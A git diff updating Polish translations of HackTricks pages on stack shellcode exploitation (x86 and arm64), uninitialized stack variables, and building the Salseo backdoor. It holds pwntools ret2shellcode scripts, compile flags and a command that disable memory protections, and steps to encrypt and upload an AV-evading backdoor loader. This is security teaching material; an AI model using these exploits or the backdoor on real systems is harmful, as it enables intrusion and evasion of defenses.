||||
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
|
||||
* `-no-pie`: Wyłącza wykonywalność niezależną od pozycji, ułatwiając przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy plik, często używany ze względu na prostotę w rozwijaniu exploitów.
|
||||
* `-z execstack`: Umożliwia wykonanie kodu na stosie, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.
|
||||
* `-no-pie`: Wyłącza niezależny od pozycji plik wykonywalny, co ułatwia przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w rozwoju exploitów.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
|
||||
Oto jak można napisać exploit w Pythonie używając **pwntools** do przeprowadzenia ataku **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -78,38 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powłoki**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.
|
||||
Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode** i następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając, że shellcode zostanie wykonany.
|
||||
|
||||
**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
|
||||
**NOP slide** (`asm('nop')`) jest używane, aby zwiększyć szansę, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do początkowego adresu twojego bufora plus offset, aby wylądować w NOP slide.
|
||||
|
||||
## Protections
|
||||
## Ochrony
|
||||
|
||||
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**Kanarki stosu**](../../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
|
||||
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.
|
||||
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś leak, aby dowiedzieć się, gdzie załadowana jest funkcja win.
|
||||
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotu EIP nigdy nie będzie śledzony.
|
||||
* Ochrona **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* 64bit, ASLR z leak adresu stosu, zapisz shellcode i przeskocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* 32 bit, ASLR z leak stosu, zapisz shellcode i przeskocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
|
||||
* 32 bit, ASLR z leak stosu, porównanie, aby zapobiec wywołaniu exit(), nadpisz zmienną wartością i zapisz shellcode oraz przeskocz do niego
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, brak ASLR, gadżet ROP do sprawienia, że stos będzie wykonawczy i skok do kodu powłoki na stosie
|
||||
* arm64, brak ASLR, gadżet ROP, aby uczynić stos wykonywalnym i przeskoczyć do shellcode w stosie
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Kod Shellcode - arm64
|
||||
# Stack Shellcode - arm64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
|
||||
|
@ -41,15 +42,17 @@ Kompiluj bez pie, canary i nx:
|
|||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
## Brak ASLR & Brak canary - Przepełnienie stosu 
|
||||
{% endcode %}
|
||||
|
||||
Aby zatrzymać ASLR wykonaj:
|
||||
## Brak ASLR & Brak canary - Stack Overflow 
|
||||
|
||||
Aby zatrzymać ASLR, wykonaj:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Aby uzyskać **przesunięcie bof sprawdź ten link**.
|
||||
Aby uzyskać [**offset z bof, sprawdź ten link**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
Wykorzystanie:
|
||||
Eksploatacja:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -80,6 +83,21 @@ p.send(payload)
|
|||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem podczas jego wykorzystywania nie działał (ponieważ adres stosu trochę się zmienił).
|
||||
Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem, gdy próbowałem go wykorzystać, nie zadziałał (ponieważ adres stosu trochę się zmienił).
|
||||
|
||||
Otworzyłem wygenerowany plik **`core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode'u.
|
||||
Otworzyłem wygenerowany **`core` file** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,42 @@
|
|||
# Niezainicjowane zmienne
|
||||
# Uninitialized Variables
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
Podstawowym pomysłem tutaj jest zrozumienie, co dzieje się z **niezainicjowanymi zmiennymi, ponieważ będą one miały wartość, która była już przypisana do pamięci.** Przykład:
|
||||
Główna idea tutaj polega na zrozumieniu, co się dzieje z **niezainicjowanymi zmiennymi, ponieważ będą one miały wartość, która już znajdowała się w przydzielonej pamięci.** Przykład:
|
||||
|
||||
* **Funkcja 1: `initializeVariable`**: Deklarujemy zmienną `x` i przypisujemy jej wartość, powiedzmy `0x1234`. Ta czynność jest podobna do zarezerwowania miejsca w pamięci i umieszczenia w nim określonej wartości.
|
||||
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W języku C niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego zachowują wartość, która była ostatnio przechowywana pod ich adresem pamięci.
|
||||
* **Funkcja 1: `initializeVariable`**: Deklarujemy zmienną `x` i przypisujemy jej wartość, powiedzmy `0x1234`. Ta akcja jest podobna do rezerwacji miejsca w pamięci i umieszczenia w nim konkretnej wartości.
|
||||
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W C, niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego, zachowują wartość, która była ostatnio przechowywana w ich lokalizacji pamięci.
|
||||
|
||||
Gdy uruchamiamy te dwie funkcje **sekwencyjnie**:
|
||||
Kiedy uruchamiamy te dwie funkcje **sekwencyjnie**:
|
||||
|
||||
1. W `initializeVariable`, `x` otrzymuje wartość (`0x1234`), która zajmuje określony adres pamięci.
|
||||
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie otrzymuje wartości, więc zajmuje miejsce w pamięci bezpośrednio po `x`. Ze względu na brak inicjalizacji `y`, kończy się "dziedziczeniem" wartości z tego samego miejsca w pamięci używanego przez `x`, ponieważ jest to ostatnia wartość, która tam była.
|
||||
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie przypisano mu wartości, więc zajmuje miejsce w pamięci tuż po `x`. Z powodu nieinicjowania `y`, kończy się na "dziedziczeniu" wartości z tej samej lokalizacji pamięci używanej przez `x`, ponieważ to była ostatnia wartość, która tam była.
|
||||
|
||||
To zachowanie ilustruje kluczowe pojęcie w programowaniu niskopoziomowym: **Zarządzanie pamięcią jest kluczowe**, a niezainicjowane zmienne mogą prowadzić do nieprzewidywalnego zachowania lub podatności na zagrożenia bezpieczeństwa, ponieważ mogą nieumyślnie przechowywać wrażliwe dane pozostawione w pamięci.
|
||||
To zachowanie ilustruje kluczową koncepcję w programowaniu niskiego poziomu: **Zarządzanie pamięcią jest kluczowe**, a niezainicjowane zmienne mogą prowadzić do nieprzewidywalnego zachowania lub luk w zabezpieczeniach, ponieważ mogą niezamierzenie przechowywać wrażliwe dane pozostawione w pamięci.
|
||||
|
||||
Niezainicjowane zmienne stosu mogą stwarzać kilka zagrożeń dla bezpieczeństwa, takich jak:
|
||||
Niezainicjowane zmienne stosu mogą stwarzać kilka zagrożeń bezpieczeństwa, takich jak:
|
||||
|
||||
* **Ujawnienie danych**: Wrażliwe informacje, takie jak hasła, klucze szyfrowania lub dane osobowe, mogą być ujawnione, jeśli przechowywane są w niezainicjowanych zmiennych, umożliwiając potencjalnie atakującym odczytanie tych danych.
|
||||
* **Ujawnienie informacji**: Zawartość niezainicjowanych zmiennych może ujawnić szczegóły dotyczące układu pamięci programu lub operacji wewnętrznych, pomagając atakującym w opracowywaniu ukierunkowanych exploitów.
|
||||
* **Awarie i niestabilność**: Operacje związane z niezainicjowanymi zmiennymi mogą prowadzić do niezdefiniowanego zachowania, co może skutkować awariami programu lub nieprzewidywalnymi wynikami.
|
||||
* **Wykonywanie arbitralnego kodu**: W określonych scenariuszach atakujący mogą wykorzystać te podatności, aby zmienić przebieg wykonania programu, umożliwiając im wykonanie arbitralnego kodu, który może obejmować zagrożenia związane z wykonaniem kodu zdalnego.
|
||||
* **Wycieki danych**: Wrażliwe informacje, takie jak hasła, klucze szyfrowania lub dane osobowe, mogą być ujawnione, jeśli są przechowywane w niezainicjowanych zmiennych, co pozwala atakującym na potencjalne odczytanie tych danych.
|
||||
* **Ujawnienie informacji**: Zawartość niezainicjowanych zmiennych może ujawniać szczegóły dotyczące układu pamięci programu lub wewnętrznych operacji, co pomaga atakującym w opracowywaniu ukierunkowanych exploitów.
|
||||
* **Awaria i niestabilność**: Operacje związane z niezainicjowanymi zmiennymi mogą prowadzić do nieokreślonego zachowania, co skutkuje awariami programu lub nieprzewidywalnymi wynikami.
|
||||
* **Wykonanie dowolnego kodu**: W niektórych scenariuszach, atakujący mogą wykorzystać te luki, aby zmienić przepływ wykonania programu, co umożliwia im wykonanie dowolnego kodu, co może obejmować zagrożenia związane z zdalnym wykonaniem kodu.
|
||||
|
||||
### Przykład
|
||||
### Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -67,10 +68,25 @@ return 0;
|
|||
```
|
||||
#### Jak to działa:
|
||||
|
||||
* **Funkcja `initializeAndPrint`**: Ta funkcja deklaruje zmienną całkowitą `initializedVar`, przypisuje jej wartość `100`, a następnie drukuje zarówno adres pamięci, jak i wartość zmiennej. Ten krok jest prosty i pokazuje, jak zachowuje się zmienna zainicjowana.
|
||||
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się pod tym adresem pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne na zero, chociaż nie należy polegać na tym.
|
||||
* **Funkcja `main`**: Funkcja `main` wywołuje obie powyższe funkcje sekwencyjnie, demonstrując różnicę między zmienną zainicjowaną i niezainicjowaną.
|
||||
* **Funkcja `initializeAndPrint`**: Ta funkcja deklaruje zmienną całkowitą `initializedVar`, przypisuje jej wartość `100`, a następnie drukuje zarówno adres pamięci, jak i wartość zmiennej. Ten krok jest prosty i pokazuje, jak zachowuje się zainicjowana zmienna.
|
||||
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez jej inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się w tej lokalizacji pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne do zera, chociaż na tym nie należy polegać.
|
||||
* **Funkcja `main`**: Funkcja `main` wywołuje obie powyższe funkcje w kolejności, demonstrując kontrast między zainicjowaną a niezainicjowaną zmienną.
|
||||
|
||||
## Przykład ARM64
|
||||
|
||||
To nie zmienia się w ARM64, ponieważ zmienne lokalne są również zarządzane na stosie, możesz [**sprawdzić ten przykład**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/), gdzie to jest pokazane.
|
||||
To w ogóle się nie zmienia w ARM64, ponieważ zmienne lokalne są również zarządzane na stosie, możesz [**sprawdzić ten przykład**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/), gdzie to jest pokazane.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
98
c2/salseo.md
98
c2/salseo.md
|
@ -1,28 +1,29 @@
|
|||
# Salseo
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kompilacja binarnych plików
|
||||
## Kompilacja binarek
|
||||
|
||||
Pobierz kod źródłowy z githuba i skompiluj **EvilSalsa** oraz **SalseoLoader**. Będziesz potrzebować zainstalowanego **Visual Studio**, aby skompilować kod.
|
||||
|
||||
Skompiluj te projekty dla architektury systemu Windows, na którym będziesz ich używać (jeśli Windows obsługuje x64, skompiluj je dla tej architektury).
|
||||
Skompiluj te projekty dla architektury komputera z systemem Windows, na którym zamierzasz ich używać (jeśli Windows obsługuje x64, skompiluj je dla tej architektury).
|
||||
|
||||
Możesz **wybrać architekturę** wewnątrz Visual Studio w zakładce **"Build"** w **"Platform Target".**
|
||||
Możesz **wybrać architekturę** w Visual Studio w **lewej zakładce "Build"** w **"Platform Target".**
|
||||
|
||||
(\*\*Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"**, a następnie w **"\<Project Name> Properties"**)
|
||||
(\*\*Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"** a następnie w **"\<Nazwa Projektu> Properties"**)
|
||||
|
||||
![](<../.gitbook/assets/image (839).png>)
|
||||
|
||||
|
@ -30,9 +31,9 @@ Następnie zbuduj oba projekty (Build -> Build Solution) (W logach pojawi się
|
|||
|
||||
![](<../.gitbook/assets/image (381).png>)
|
||||
|
||||
## Przygotowanie tylnych drzwi
|
||||
## Przygotowanie Backdoora
|
||||
|
||||
Po pierwsze, będziesz musiał zakodować **EvilSalsa.dll.** Aby to zrobić, możesz użyć skryptu pythona **encrypterassembly.py** lub skompilować projekt **EncrypterAssembly**:
|
||||
Przede wszystkim będziesz musiał zakodować **EvilSalsa.dll.** Aby to zrobić, możesz użyć skryptu python **encrypterassembly.py** lub możesz skompilować projekt **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -44,27 +45,27 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok, teraz masz wszystko, czego potrzebujesz do wykonania całej rzeczy Salseo: **zakodowany EvilDalsa.dll** i **binarny plik SalseoLoader.**
|
||||
Ok, teraz masz wszystko, co potrzebne do wykonania całej operacji Salseo: **zakodowany EvilDalsa.dll** i **plik binarny SalseoLoader.**
|
||||
|
||||
**Prześlij binarny plik SalseoLoader.exe na maszynę. Nie powinny być one wykrywane przez żadne AV...**
|
||||
**Prześlij plik binarny SalseoLoader.exe na maszynę. Nie powinny być wykrywane przez żadne AV...**
|
